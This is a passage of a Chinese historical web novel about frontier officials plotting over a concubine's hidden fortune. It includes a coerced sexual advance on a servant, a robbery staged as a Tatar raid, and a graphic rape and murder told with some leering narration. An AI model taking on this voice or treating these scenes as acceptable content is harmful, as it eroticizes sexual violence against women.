谁都知道,元蒙一旦孤注一掷,全线向大夏出兵力图中原?
那么,仅有的十万北防军,怕是远远不够。
“除非,出现奇迹!”
岳佟终于带头打破沉默,说了一句连自己都觉得不靠谱的话。
“何等奇迹?”
温苍玉紧追不舍,张口就是一问。
这下,岳佟没有端酒碗,而是轻呷了一口茶水,缓缓说道:“除非,元蒙发兵进犯我土时的第一仗,是在黄羊岘开战,叶十三如果拼死一搏,造成元蒙方面不可估量的战损,这场战争,说不定还可暂缓下来。”
温苍玉沉思片刻,似有所悟道:“大将军的意思,是敌贼来犯之时,叶十三先势夺人,首战杀个满堂彩,让元蒙方心生忌惮,不得不重新考量邦交?”
“正是。”
岳佟点点头,眼里全是希望。
“这也未必不可!”
半天没说话的马啸,插言进来说道:“如果大金盟部木桑王爷报仇心切,率先发起进攻,而叶十三手中的兵马数量,正好与之您抗衡,假如木桑战败,元蒙各盟不会不重新考虑我大夏的戍边实力。”
“言之有理!”
卢一鸣也点点头,肯定道:“毕竟,一旦战争全面爆发,就粮草而言,元蒙各盟部也不轻松。”
但他们忘了,与大金盟部接壤的,还有巴立盟部。
而木桑王爷的女婿那木儿,又是巴立盟部图海的儿子,是巴立盟部的世子。
如果开战,那绝对是两亲家联盟合兵,攻破黄羊岘防区拿叶十三寻仇的。
……
就在岳佟和老友们分析着未来战局的时候,西河镇的镇首田诚业,却盯上了一支最近屡次向西河镇一处院落运送东西的马车队。
“摸清楚了?”
田诚业半眯着眼睛,把视线转移到一名甲正身上。
甲正咧嘴一笑,道:“大人,摸清楚了,此院子的主人,是个年纪不满三十的寡妇,名字叫小翠,和两名女仆过着深居简出的日子。”
“最近运送过来的,都是何物?”
田诚业来了兴趣,紧接着又是一问。
甲正挠挠头,想了想说道:“据哨卡检查的兄弟们说,好像是粳米白面,还有不少的箱子,虽然不便开箱检查,但足矣确定,里面都是通天驿那位,这些年积攒下来的好东西。”
“大人,要不要让小的带几个兄弟……”
甲正两眼放光,知道田诚业已经对那个院子动了心思。
“不可!”
田诚业摆摆手,眼珠子一转,又道:“此事不可明着来,再说,这个叫小翠的寡妇,背后站着的,那可是通天驿镇的那位。”
“不如……”
思忖片刻,田诚业压低了声音,咬牙道:“如今战事即起,到处人心惶惶,你带些人,扮成鞑子牧民……”
如此耳语一番,甲正又道:“大人,这怕不好掩人耳目吧?”
“想想,西河镇离沙柳滩村还有几十里地,鞑子牧民到处抢掠,驻军不会不知啊!”
甲正即刻否定了田诚业的馊主意。
“你傻呀!”
田诚业直起身子,摆手又道:“你不会选择夜间行事?惊吓之中,那个叫小翠的寡妇,还能盘查你的真实身份不成?”
“扮作鞑子牧民,也就是掩个小翠的耳目,至于实情,就让通天驿镇的那位事后去猜吧!”
田诚业一语道破真相,得意地捋着下巴上的几根鼠须。
“大人妙计!”
这下,甲正完全懂了。
在鞑子抢劫之时,谁还能动心思去甄别鞑子的真假?
如此一想,小翠那细皮嫩肉的身子,顿时就让甲正咽了一口唾沫下肚。
“大人,那小的就去准备,今夜准能成事!”
甲正眼冒绿光,巴不得天即刻就黑下来。
如此一来,不但洗劫了藏匿在那处院落中的好东西,还能得到一大笔赏银。
最让人热血狂涌的是,小翠那个俏寡妇,就逃不过他积攒了一冬的邪劲。
要知道,鞑子那可什么事都能干得出来的。
哪怕就是把这个深居简出的俏寡妇给折腾死了,那只怪鞑子牧民太过粗野和彪悍……
第206章 谁又知道你的根底?
夜色降临,少有月光。
西河镇街角僻静处一座不小的院落。
屋内灯光摇曳,一个风情万种的女人,正在用一只木盆泡脚。
“等开春天暖,我们搬去内地居住。”
女人目光盯着木盆水中一双白嫩的脚,话却是说给一旁的下人听。
“就是呀!”
下人在木盆前顿了下来,伸出两手给女人搓脚,道:“这地方动不动就要打仗,让人提心吊胆没法安宁。”
两个下人,一个十六七岁,在一旁的灯烛下绣花,另一个四十多岁的,蹲在地上给女人搓脚。
搓脚妇人说道:“内地是好,但我们去了内地,能做何事啊?”
“呵呵!”
风情万种的女人,轻蔑一笑,撇嘴道:“开家茶楼,或者窑子,不照样吃香喝辣?”
“好是好,就是我这把年纪了,恐怕支应不了客人了,娟儿倒是年轻,但让那些猪狗男人天天折腾,这也太糟蹋人了。”
搓脚妇人一怔,似乎对方才的话有些异议。
“我可不让那些臭男人成天拱着,想想都恶心死人了,还是这地方僻静,比内地到处闹哄哄的要强多了。”
绣花的女子也是把嘴一撅,一副极不情愿的样子。
“你们傻呀!”
风情万种的女人,把两只脚从木盆里抬起,等着搓脚的妇人给擦干,又道:“趁着周大人还没腻歪我,我们卷了这些东西回内地,找个地方盘一家门面,哪用我们亲自出面?雇几个人去操心经营不就得了?”
“雇人?”
搓脚妇人一怔,惊道:“少夫人,你可是奴籍呀!被贬到此充了官妓,要不是周大人私留了你,这天下之大,但哪有你的活路可去?”
“正因为如此,我们得想办法离开边城!”
被称为少夫人的女子,面色一冷,咬牙就是一句。
思忖片刻,待两只脚被擦干,又道:“如不趁着兵荒马乱离开边城,何时再有机会逃离这等鬼地方?”
“难道,你就把自己的后半辈子,情愿在这地方熬到死不成?”
少夫人又是一句,说得斩钉截铁。
此言一出,两个下人不再言语,似乎被方才的话触动了。
这话没错!
她们虽然眼下不愁吃喝,但成天呆在这个院子里不便外出活动,闷都闷死了。
眼下,周敬堂让人分批送来如此多的财物,藏匿在这里,要是拿着这些财物回内地,随便找个镇子安居下来,再编一个身份,岂不比这种老鼠一样的日子好过?
离开边城去内地的人不少,只要有钱花给地方衙门,还怕弄不到一个新的身份?
你不说自己是被贬的奴籍?
谁又知道你的根底?
丈夫病故,或者家人被鞑子所杀,这些理由够充足的了吧!
两个下人的心思,渐渐活泛了下来。
对少夫人方才的话,看到了一丝希望。
“记住了,任何时候,都不能说出我们曾经是谁家的人,打死都不能说。”
少夫人面色一寒,咬牙又是一句叮咛。
“记住了,说出去对我们没好处,还不如隐秘身份的好。”
搓脚妇人点点头,又对绣花女子说道:“娟儿,你可记住了?”
“记住了张婶,就请少夫人也放心吧!”
绣花女子一脸紧张,重重点头表示牢记在心。
那个被称为张婶的,给少夫人擦干了脚后,边捏着腿边说道:“少夫人,还是得用心打听着点你家老夫人母子,还有你家小姐的下落,眼下战乱频发,不知道他们流落何处?”
“闭嘴!”
此言一出,少夫人勃然大怒,差点把一只光脚,就蹬在张婶的脸上。
“把你该操的心操好了,你二人,侍奉好本姑娘,就是你们的本分。”
少夫人自称“本姑娘”,这让张婶心头又是一惊。
一个成婚快十年的女人,只是和丈夫失散而已,为何要以“姑娘”自居?
这时候,少夫人口气缓了下来,又道:“以后,别在少夫人,少夫人的,就叫我翠儿姑娘好了,我最烦和那家人扯上任何关系,这辈子的倒霉,就倒霉在嫁给了那个怂包货不说,清福没享上一天,倒是受他那个堂伯的牵连被贬籍流放,真是倒了八辈子血霉了!”
“你也给我记住了?”
风情万种的女人,又把目光投向一旁绣花的娟儿,咬牙切齿地说道:“即刻起,忘掉我是被受牵连的奴籍,我不想再听到有关那家人的任何话题,你们把我侍奉好了才是正道。”
年近三十的翠儿,姣好的面容透着一股阴毒。
“这几天,你留意着些走脚的车户,价钱出高点,能找上十几辆马车最好了,我们以行商的名义,先离开这西河镇再说。”
翠儿眼里闪过一丝狡黠,似乎对离开西河镇胸有成竹。
她不是无的放矢,她的手里,有着周敬堂开的路条。
有了边城衙门的路条,沿途哨卡不会严加盘查的。
周敬堂万没想到,他金屋藏娇又隐匿财产的这些路条,反而成了别人挖他墙角的利器。
辛苦半辈子,到头来却是竹篮打水一场空。
张婶一听翠儿如此着急,这又说道:“我出去买菜时,发现也有商户雇车去内地,可能是这些内地来的商户,怕一旦鞑子打过来,他们的财产就会被那些鞑子一抢而空。”
说起鞑子,娟儿插嘴说道:“落入鞑子手里,就是不死也脱层皮的,那些畜生见粮食就抢,见男人就杀,只要是女人,准被他们轮番糟蹋的命都没了。”
翠儿眼皮一翻,咬牙说道:“反正宜早不宜迟,能早走一天,就有一天的好处。”
“那是!”
张婶接过话茬又道:“真要是鞑子打过来,想走都走不脱了,驻军到处封锁,就是能走,那走脚的车户们,还不漫天要价?”
“也是!”
翠儿点点头,摆手道:“早点睡吧,明一早你就去找车,价钱好说,但不能走漏了风声,一定要给车户把话压稳了。”
“明白!”
张婶说着,端起泡过脚的盆子,就往外走。
“记得了,把院门可要闩好了,这里就我们三个女人,处处得留心才是。”
已经走到屋门口就要外出泼水的张婶,回头应道:“那是一定的,院门从来都是闩严实的,就是有贼子起了歹心,也进不来咱这院子。”
俗话说得好,念叨什么?
就来什么!
此时,外面已经是漆黑一片,二十几个身穿鞑子皮袍的人,正赶着十几辆马车,趁着夜色向这个僻静的院落摸了过来。
第207章 遭遇打劫
“噗!”
娟儿吹熄了蜡烛,然后爬上了炕。
“我还是喜欢你这般温婉的女子,那些臭男人,我一看到就恶心。”
翠儿伸过一条胳膊,把上了炕的娟儿,顺手就揽进怀里。
“我怕……”
被翠儿搂着,娟儿浑身打了个哆嗦,不自在地说道:“还是分开睡吧,这样,我真有些害怕。”
“怕什么?”
翠儿淫邪地一笑,把娟儿使劲往怀里一拉,一只手就伸进了娟儿的内衣里面。
“我真怕!”
就像被火烫着了一样的娟儿,即刻就起了一身的鸡皮疙瘩,让同为女人的翠儿如此搂着,她真不知道如何是好?
不多时,娟儿的呼吸粗重起来。
而翠儿更是变本加厉,几乎是压在了娟儿有些轻颤的身子上面。
“有人,外面好像有人?”
一阵吃疼之下,猛然睁开眼睛的娟儿,看到窗户外似乎有火把在院子里亮着。
“别动,习惯了就好,我知道你还不适应这样……”
翠儿呢喃着,企图用嘴堵住娟儿的嘴,来阻止娟儿找借口说个没完。
“真的有人,外面有火把,好多火把。”
被压在翠儿身下的娟儿,惊恐地叫出声来,使劲地把几近疯狂起来的翠儿往下推。
“哐当!”
就在这时候,屋门被从外面破开。
一股子羊油“哔哔叭叭”燃烧的声响,惊得翠儿一骨碌就从娟儿身上滚落下来。
“你们,什么人……”
话没完全出口,翠儿被闯入者一把攥住头发,狠狠地甩在地上。
鞑子?
眼睛睁得老大的娟儿,差点就尿被窝里了。
谁也没有料到,这鞑子说来就来?
外面没有放火,没有喊杀声,这一睁眼,鞑子举着火把手提弯刀,就已经站前炕前。
“捆了!”
为首的鞑子黑巾蒙面,一挥手就指使两名鞑子上前,把地上的翠儿,还有炕上缩成一团的娟儿,全给背着双手捆了个结实。
“去,麻利点,抓紧时间!”
为首的鞑子淫邪地扫了一眼被捆绑成了个粽子的主仆二人,扬扬手,把进了屋里的几个鞑子指使了出去。
“该老子享受了……”
为首的鞑子粗鲁地把地上的翠儿,提了起来搭在炕沿又道:“落在老子的手里,管你是谁?让你好好尝尝老子的厉害。”
“刺啦……”
面朝下被摁着的翠儿,身后的小裤,已经被一双大手撕成了两扇,露出女人家最隐秘的地方。
“啊……”
已经肝胆俱裂的翠儿,在一声撕心裂肺的喊叫下就两眼一黑……
此时,同样被捆成了一团,扔在炕脚的娟儿,这下真的尿了一炕。
不知过了多久,粗糙的喘息声停了,屋里漆黑一片,整个院落,也陷入了一阵可怕的死寂。
“扑通!”
翠儿从炕沿掉在地上的响声,把炕脚昏死过去的娟儿给惊醒了过来。
“翠儿姑娘……你……在哪里……”
“呜呜……”
被捆绑着双手,嘴里又被塞进了一团破布的翠儿,使劲地用脚踢着旁边的桌椅。
“鞑子……都……走了……”
炕上娟儿的声音,依旧带着无比的惊恐,努力地向炕沿滚了过来。
“扑通!”
又是一声重物落地的声音。
掉在地上的娟儿,差点就砸在翠儿的身上,幸好,被绑着的手,正好摸到了翠儿嘴巴外面露着的布团。
使劲一拉之下,“哇”的一声,被憋青了脸的翠儿,这才长出了一口气。
黑暗中,二人一番拉扯,背靠着背,相互解开了对方身上的绳子。
“我们,还活着?”
大口呼吸着的翠儿,突然摸到了自己小裤被撕裂的部位,惊恐的就是一问。
“我们还活着……他们……没杀我们……”
娟儿在地上缩成了一团,嘤嘤地哭了起来。
“还哭个屁!”
翠儿在黑暗中骂了一句,侧着耳朵,努力地又听了听外面的动静,良久,又道:“这世道,能活着就不错了,其他都不重要。”
“可是那畜生,他祸害了我,我下边好疼啊……”
说着,娟儿又抽泣了起来。
在确定那些人已经走了后,翠儿摸索着从地上站起来,边找火燧,边骂道:“哭哭哭,哭个鬼,你现在才知道那些臭男人的可怕了?”
蜡烛,被摸到了火燧的翠儿重新点了起来。
借着烛光,一瞥娟儿裸露着的腿根里一片血污时,翠儿脸上闪过一丝不屑的神情。
“还是本姑娘对你好,那些臭男人,他们只有伤害我们女人,好像我们女人天生下来就是供他们糟蹋的。”
一脸冷漠的翠儿,喋喋不休地发着牢骚。
思忖片刻,突然又惊道:“快,出去看看,张婶那老婆子,怎的没一点动静?”
这一声,吓得娟儿又是一哆嗦。
主仆二人,手拉着手,小心翼翼地出了屋子,摸到张婶住的屋子门口,这才发现,屋子的门,是大开着的。
一种不祥的预感,即刻涌了上来。
“张……婶……”
娟儿颤抖着轻声叫了一下。
没人应答。
“张婶,家里都进贼了,你还在睡……”
已经意识到不妙的翠儿,装起胆子也是一问。
黑洞洞的屋里,没有丝毫的应答。
“快,拿烛火过来!”
心里一慌的翠儿,赶忙让娟儿去屋里拿蜡烛。
“我,怕!”
娟儿抖个不停,一个劲地往翠儿的身后躲。
一股冷风吹来,小裤被从后面撕开的翠儿,不禁打了个冷颤。
这一下,她也怕了起来。
二人再顾不上查看张婶的动静,跌跌撞撞就回到正屋,爬上炕后,拥着被子紧紧抱成一团只等天亮。
不知过了多久,迷迷糊糊中,外面的天色已经大亮。
“啊……”
视线所及之处,翠儿发现,屋里早已经被翻了个底朝天。
就是屋子地上码着的几只装有重要东西的箱子,也全都不翼而飞。
“快,去外面看看!”
这下,翠儿慌了,嘴唇一阵急抖,跳下炕去就往外冲。
“张婶她,死了……”
随着翠儿的尖叫,紧跟了出来的娟儿,此时看到隔壁屋子里的张婶,一张惨白的脸转向身后面朝屋顶。
可倒在地上的张婶光溜溜的身子,却是趴在地上的,这一点,从屁股的方向就可以辨别。
她的脑袋,是被人拖出被窝后,直接给拧到了身后才死的。
再看存放物件的两间屋子,里面已经是空空如也,那些从通天驿镇,被分几次运来的箱子和口袋,被搬运得一件都不剩。
“该死的强盗……”
面对如此情景,翠儿大叫一声就昏死过去。
第208章 各打各的算盘
“翠儿姑娘……”
“翠儿姐姐……你醒醒……”
惊恐万状的娟儿,浑身哆嗦着把翠儿的脑袋,抱在怀里一阵摇晃。
被清晨的冷一吹,又加上娟儿的一阵摇晃,急火攻心之下昏死过去的翠儿,喉咙一阵响动就醒了过来。
“鞑子,把我们抢了……”
方才还欣庆自己活着的翠儿此时满脸沮丧,呆滞的目光,缓缓投向自己的两只手上。
视线所及之处,一对银镯子还在手腕上。
伸手又是一摸,两只耳朵上,一对耳环也在。
再一摸怀里,随身携带着的一张百两银票,还热乎乎地带着她的体温。
“赶快收拾东西!”
翠儿就像被马蜂蛰了一样,从娟儿的怀里猛站了起来,扭头就冲进正屋。
“快,能带的,全都带上,这地方已经呆不成了。”
翠儿催促着娟儿赶快收拾东西,看样子即刻就要走。
娟儿茫然地望着手忙脚乱的翠儿,缓缓说道:“我们,这是要投奔周大人那边?”
“你傻呀?”
翠儿一扭头,怒声骂道:“鞑子是没杀我俩,但丢了周大人的东西,周大人可会要了你我的命,再不走,让镇上衙门发现这里死了人,你我就是浑身长嘴都说不清了。”
这一句,又吓得娟儿脸上色变,一个弱女子,在这虎狼横行的世道真难活人。
主仆二人一阵忙乱,只要是能穿的能拿的,尽数打包带着。
趁着早晨外面走路的人少,二人连光着身子死在地上的张婶,都没来及拿被子遮掩一下。
二人急匆匆锁起院门,长巾裹着头脸,提着手里鼓鼓囊囊的包裹,就直奔行脚车户聚集的街口而去……
与此同时,镇衙后院一处屋子。
甲正站在桌前,拿起刚烧好了的茶水,给桌上的茶碗中添满,然后说道:“大人,都办妥了!”
桌后的田诚业缓缓抬头,笑道:“收获不小吧?”
甲正嘴角浮起一丝得意,道:“好物件还真不少,珍贵毛皮都有几大箱子,各类玉石更是数量惊人,银器铜器也有好几箱子,绸缎更不用说了。”
“呵呵!”
田诚业把肥胖的身子,往椅子上一靠,缓缓说道:“通天驿镇那位,还真收拾了不少的好东西,只是这兵荒马乱的不好变现而已,这要是在太平年间,倒腾到内地,那可是一箱箱白花花的银子啊!”
说着,田诚业面色陡然一转,又道:“活干得可不能拖泥带水!”
“放心吧大人!”
甲正阴阴一笑,低声道:“给那叫小翠的婆娘,只留了她身上的一些零碎,其他的,都让小的给打包回来了。”
“如此甚好!”
田诚业点点头,满意地说道:“留个盘缠路费,那女人定会远走高飞去逃命,就是通天驿镇的那位发现了,也只能推断是他的藏娇见财起意,黑了他的财物逃之夭夭而已。”
“是,是,这让他有苦说不出,还不会怀疑到咱的头上。”
说完,甲正又道:“就那婆娘,还以为是鞑子混进了镇里打劫住户。”
田诚业笑容满面,拿指头敲着桌面,淡淡又道:“再好的东西,没有银子用起来方便,听好了,把这些东西,分成几份,分头给那些买卖人送过去,就说大人我筹集军费支援戍边军队,让他们给个平时的市价就好了。”
“小的遵命,这就去办!”
甲正拿起刚放在桌上的清单,准备转身要走。
田诚业又道:“告诉那些买卖人,拥军,那是我等义不容辞的义务,让他们不要有牢骚和意见,把目光放远一点。”
田诚业这手,虽然没有握刀杀人,也不沾一丝血,却又狠狠地砍了西河镇那些大买卖人一下。
如此一来,要是按平时的市价这算,这十几车东西,最少也能变现三十万两银子。
周敬堂辛苦搜刮了半辈子,却这样就被叶十和田诚业二人,心照不宣之下给洗劫了个精光。
……
通天驿镇,后衙。
“大人,屯田村怀远将军叶十三,又派人催铁料了。”
师爷站在桌前,目光游离不定地望着早起喝小酒的周敬堂。
周敬堂有个习惯,大清早起来,要喝二两鹿茸泡酒。
“不就手里有了几个兵马,三天两头催铁要粮的,郡主那边可好?”
周敬堂把话头,转到香香郡主身上。
“只要郡主安然无恙,这就行了,至于他叶十三能翻几个跟斗?那不是本大人操心的事。”
此言一出,管家急道:“王选说,郡主为军中的事,也紧抓不放,叶十三想的,也是郡主要办的,依小的看,还是别惹郡主不高兴。”
“这郡主!”
周敬堂摇摇头,又道:“好好的差事,非要亲临一线,刀枪无眼,尽干这些悬乎事,真不让人省心。”
说完,周敬堂又像是想起了什么?
眉头一皱,又道:“粮草按理说,是衙门每年征收后转交军部,他叶十三要粮草,找他的上司岳佟就可,干嘛要到老子的头上来了?”
“是这样……”
师爷面上一阵尴尬,低声道:“粮草的事,倒是郡主提出来的,大人您想想,郡主亲临一线战区,为的就是拉拢人心,那些兵将们要是吃饱了肚子,边防岂不是更安稳?兵将们肯定是念着郡主的好了!”
“明白了!”
经师爷如此一点拨,周敬堂点点头,似有所悟地说道:“郡主这是在拉拢叶十三,就是叶十三不听郡主的话,那些将领们可不那么想,毕竟郡主是朝廷派下来的人,叶十三只是个野将军而已,以后是免是升?还是个未知数,但从长远看,郡主的这些做法,还是比较有远见。”
思忖片刻,周敬堂似乎下定决心,抬起头来缓缓说道:“这样好了,钱庄不是还留着些备用银子嘛!全拿出来,即刻派人去靠近内地的郡县,从各粮行大肆收购粮食,满足郡主的一切要求。”
说完,周敬堂目光一扫窗外,又道:“至于铁料,把咱积攒的那些用来和鞑子交易的存活,全给他叶十三,仗打好了,朝廷肯定高兴,这一高兴,郡主绝对是忘不了本大人的鼎力支持……”
此言一出,师爷陡然一惊。
他万没想到,本来是劝说周敬堂应付一下香香郡主,面子上能说得过去就成。
哪曾想到?
这一点拨,周敬堂索性孤注一掷,拿出家底当宝来押香香郡主这一注。
“小的明白,这就去办!”
师爷面颊一抖,拱手一礼就退了出去。
第209章 古代难道也有拥军日?
三天后,屯田村。
田诚业亲自来到黄羊岘防区。
“下官参见郡主,见过怀远将军。”
签房大院,田诚业带着二十个镇衙门的卫兵,来表示地方对北防军的慰问。
“勇气可嘉啊!”
叶十三一瞥田诚业,撇嘴道:“放着西河镇的安生日子不过,大老远跑一线防区,不知田大人有何贵干?”
是啊!
与通天驿镇的辖区相比,西河镇相对安稳一些,这一镇之首,跑这么远来黄羊岘,是为何事?
香香郡主也是一肚子疑问,目光冷冷看向满脸堆笑的田诚业。
面对疑问,田诚业不慌不忙。
饶有意味地瞄了叶十三一眼,然后说道:“郡主亲临一线督军,令下官不甚钦佩,叶将军身先士卒冲锋杀敌,更是让下官感动啊!”
这鸟人!
绝对有事,不然跑这地方献殷勤干嘛?
叶十三肚里一阵嘀咕,眼皮一翻说道:“好,既然镇首大人来了,那本将就带你随便转转,好让你心里也有些防务心得,回去地方,也好辅助辖区驻军做好御敌准备。”
说罢,叶十三向香香郡主一拱手,又道:“末将带田大人了解了解防务部署,郡主先行喝茶等候就是。”
说完,叶十三离开椅子,大步流星就往外走。
“郡主留步,下官随叶将军走走,也好学习一些防务部署的要领。”
田诚业急忙向香香郡主拱手一礼,然后让随从的卫兵,把带来的日用品,直接交给香香郡主的卫兵。
待跟上叶十三的脚步,来到签房大院外面,田诚业紧赶几步,低声道:“禀将军,您交代的事情,下官办妥了。”
“哦!”
叶十点头也没回,只是放慢了脚步,淡淡说道:“本将忘性太大,都不记得交代过田大人何等事情要办?”
思忖片刻,这才又道:“难道是征丁事宜?要是有新丁补充,本将还真缺一些。”
“是通天驿镇上那位的事!”
田诚业一脸谄笑,又紧赶几步,与叶十三平齐后,从怀里掏出一爹厚厚的银票,急道:“那位在西河镇有个相好的女人,最近下官发现,镇上那位派人转运了不少东西在那女人处藏匿,说白了,就是那位多年搜刮来的民脂民膏,这不,让下官给抄没变现,以便将军资军之用。”
说着,田诚业以极快的速度,把那叠厚厚的银票,往叶十三手里一塞,小声又道:“还真不少,足有二十万两,可见那位这些年,搜刮民财不少啊!”
二十万?
叶十三心头一震,下意识地往手上看了看。
这鸟人!
手段毫不逊色周敬堂,这一下,可真是把周敬堂的藏私连根刨了。
“再没其它?”
叶十三半眯着眼睛,一瞥田诚业。
这一瞥,让田诚业心头又是一惊,急道:“就这些,下官派可靠手下,已经盯了多时了,才发现这么一处地方。”
弄掉周敬堂的家私,只能让他手头暂时紧张一些时日,光凭这些,还远远扳不倒他这个镇首的位子。
叶十三又瞥田诚业一眼,语重心长说道:“这些,完全说明不了人家贪墨,谁都知道,此人有着多种经营,积攒几个银子,也是常理之中的事,至于其他,还得从长计议啊!”
“下官明白!”
田诚业拿袖口,擦拭了一下额头的汗,恐慌说道:“至于其他,还真不好找,不过,下官放出眼线,多加留意就是。”
“嗯!”
叶十三点点头,叹息道:“为官不廉,乃百姓之灾祸,田兄还应努力才是。”
“那是,那是!”
田诚业鸡啄米一样点了着头,心里却盘算着如何才能把周敬堂的把柄给攥住。
还没走到校场,叶十三看到入村的路口,有一队车马赶了过来。
举目一看,差点被惊掉了下巴。
端坐在马背上的,却是方才还提到了的周敬堂。
“这……”
田诚业当然也看到了来者,低声惊道:“将军,莫不是被他已经知晓了此事?”
“应该不会!”
叶十三紧皱着眉头,自语道:“今天,这可是个吉日啊!”
望见周敬堂身后,那可是排了一长溜的马车,所有的马车上,都满载着草料和粮食。
今天,是拥军日?
叶十三乐了,这古代,还有类似于前世现代的拥军活动?
这西河镇的田诚业,送来的银票在怀里还没捂热,通天驿镇的周敬堂,又亲自押着粮草来了。
“走,过去看看!”
叶十三嘴角一拧,眼角就笑出了麦芒纹。
“将军,下官去了多有不便,依下官见,还是……”
“心虚什么?”
叶十三狠瞪田诚业一眼,撇嘴又道:“连这等货色你都怕,以后还能有何等出息?”
此言一出,田诚业老脸一红。
“下官遵命!”
田诚业胸膛一挺,稳稳神又道:“下官不是怕他,而是怕,让这厮看出些门道,以后会对将军您……”
还说不怕?
就这怂样子,就差趁人不备溜号了。
叶十三又是狠瞪田诚业一眼,压重了语气说道:“大战在即,你两个镇首,借此机会,正好协商一下安民之策,岂不是更好?”
“下官听将军的。”
田诚业把心一横,跟着叶十三又往回走。
等到了签房大院,就看到香香郡主,正喜笑颜开地和周敬堂说着话。
见香香郡主对周敬堂如此热情,田诚业的心里,陡然又是一沉。
毕竟,香香郡主是朝廷派下来边城监军的。
而且,这周敬堂的靠山,就在朝中。
不过,可以肯定的一点,就是这个周敬堂,还未必知道西河镇那个院落中所发生的事情。
事情虽然已过三日,但他还不一定能顾得上西河镇的事务。
就在田诚业心中暗自嘀咕的时候,走在前面的叶十三,已经倒背着双手,迈步就跨进了签房大院的大门。
“下官,见过怀远将军!”
眼尖的周敬堂,已经从签房门内,看到叶十三走了进来。
与其说他眼尖,还不如说他一直在留意着外边的动静。
来黄羊岘防区,表面上是给叶十三送粮草,实际上,那可是给京都来的香香郡主贴眼药。
“辛苦啊!”
叶十三双拳一抱,向这个官职已经小他一头的镇首问好。
“周大人日理万机,如何得空来本将的防区走动?”
叶十三笑意盈盈,丝毫不像之前见了周敬堂时那种一脸官司的样子。
没等周敬堂说话,香香郡主兴高采烈地抢先说道:“周大人心系防务,自行筹集粮草,来援助怀远将军的兵马,如此赤诚之心,当应上奏朝廷为周大人请功才是。”
请功?
请你娘个蛋!
面对香香郡主的殷勤,叶十三的脸,一下子就黑了下来。
第210章 一言走偏,谬之千里
“郡主过奖了!”
周敬堂面带谦逊,躬身一礼,极尽谄媚地说道:“比起郡主亲自杀敌的壮举,下官这些粮草实在是算不了什么。”
“看来,周大人还是底子不薄啊!”
叶十三目光一瞥,淡淡又是一句。
周敬堂又把目光,投向叶十三说道:“国家兴亡,匹夫有责,下官既食君禄,就得替圣上解忧,辖下百姓已经够苦的了,再也无法征得半粒粮食。”
“哦!”
叶十三眼珠子一转,笑道:“既然辖下百姓已经无粮可征,那么这些粮草,莫非是周大人从鞑子手中抢来的不成?”
此言一出,周敬堂老脸一红,讪讪说道:“让怀远将军见笑了,下官哪有去元蒙境内抢鞑子粮食的本事?”
香香郡主美眸一翻,嗲声说道:“人家周大人,那可是拿出了家资,从别处购得粮食来,亲自送到这里壮我军威,此等赤诚的报国之情,理当嘉奖才是。”
“那就有劳郡主了!”
叶十三似笑非笑,望着一脸不安的周敬堂。
也就在这时,周敬堂装作才看到田诚业的存在。
“这田大人,如此之早,怕也是慰问边军而来?”
周敬堂眼里,尽是一片狐疑之色,冷冷地望着叶十三身后站着的田诚业。
“下官,见过周大人!”
田诚业低着头,拱手躬身,恭敬的就向周敬堂一礼到底。
香香郡主轻蔑地一瞥田诚业,漫不经心地问道:“防务部署,可是学了一点?”
“回郡主话!”
田诚业又把目光,看向香香郡主,然后低头礼道:“下官愚钝,也只是大致学了个皮毛,这军务部署,还得下官回去好好参悟一番,不然到时候慌乱不堪,误了与将军的协防配合。”
与周敬堂送来的粮草数量比,田诚业的那些日用品,就显得寒酸了许多。
但香香郡主不知道的是,二十万两银票,已经被叶十三尽数笑纳入怀。
而这些,都来自这个敛财无数,刮地三尺的周敬堂。
田诚业见香香郡主如此不待见他,此时正好离开,便深躬一礼道:“西河镇安防也不敢耽误,下官不敢在此久留,擦天黑之前,还得赶回西河镇。”
说完,又转过身来,向周敬堂拱手一礼,道:“下官告辞,待闲暇之时,再去通天驿镇拜访大人。”
“也好!”
没等周敬堂客套几句,叶十三抢在前面,摆摆手道:“虽然黄羊岘首当其冲,但西河镇的沙柳滩村,防务也同等重要,事干百姓的转移安置,少了你这个镇首,还真无法周全。”
“叶将军,下官告辞!”
田诚业抓住话头,躬身一礼就退出签房,大手一挥带着随从急急离开屯田村。
“还算有点眼色!”
香香郡主望着田诚业的背影,美眸一翻,道:“大老远来,就送了些蔫萝卜冻白菜的,也算是慰问你这个怀远将军的一万兵马了?”
“是抠门了点,哪像周大人这般慷慨!”
叶十三笑笑,趁机夸了周敬堂一句。
“叶将军过奖了!”
周敬堂皮笑肉不笑,拱手道:“将军和郡主联袂抗敌,此乃我大夏社稷之幸,边城万民之福,下官只是尽了些微不足道的绵帛之力,实在不值一提,不值一提。”
“那就不提了!”
叶十三摆摆手,笑道:“周大人高风亮节,令本将汗颜呐!”
见叶十三都如此夸奖周敬堂,香香郡主一双美眸,顿时溢出脉脉温情,浅尝一口茶水,盈盈说道:“你现在明白了吧?”
“明白何事?”
叶十三面色冷了下来,淡淡说道:“郡主所示,末将有些不甚明白!”
看到叶十三不悦,香香郡主一阵心虚,小声道:“难道你还不明白,岳佟明面上是援助你一万兵马,实际上是甩了个包袱给你,元蒙入侵大夏,难道他身为边军统帅,会按着这一万兵马不动?”
草!
还不死心?
当老子是傻子不成?
见缝插针使这种低级的离间计,就想把老子和岳佟剥离开来?
让老子麾下的兵马,脱离镇北王的控制?
叶十三肚里一阵狠骂,嘴上却又说道:“一万兵马,无论让谁指挥?都是朝廷的北防军,都是为大夏百姓抗击外敌,如何就成包袱了?”
“如是包袱,那么,把这包袱自行卸了,按兵卒的年龄裁军就是,何苦让这一万活生生的儿郎,时刻准备献出自己的性命,誓要和元蒙决一死战?”
叶十三丝毫不给香香郡主面子,又是一句就怼了过去。
“你……”
香香郡主粉脸陡变,指着叶十三怒道:“你狗咬吕洞宾,不识好人心,一万兵马的粮饷,那是一笔小数目?”
“没有周大人慷慨解囊,变卖家产拥军助战,你让这一万兵马,吃地上的积雪去和元蒙鞑子厮杀?”
得理不饶人,香香郡主自以为占理,紧接着又是一番驳斥。
不料,叶十三并不吃这套。
背着手在签房地上走来走去,缓缓又道:“兵是朝廷的兵,仗也是为大夏朝的江山社稷打,难道朝廷就让这些兵将空着肚子去战?”
“你身为督战监军,代表着朝廷,大战在即,却在此挑拨离间蛊惑军心,本将问你,这又是何等居心?”
一番虎狼之词,驳得香香郡主后背冷汗淋漓,脸色煞白说不出话来。
叶十三抬头望向门外,又道:“趁眼下还没开战,本将劝你还是滚回京都,要是胆敢再说这种狗屁倒灶的败兴话,本将斩你项上人头,来祭我边军抗敌大旗。”
此言一出,周敬堂腿肚子一阵哆嗦,差点就当场跪了。
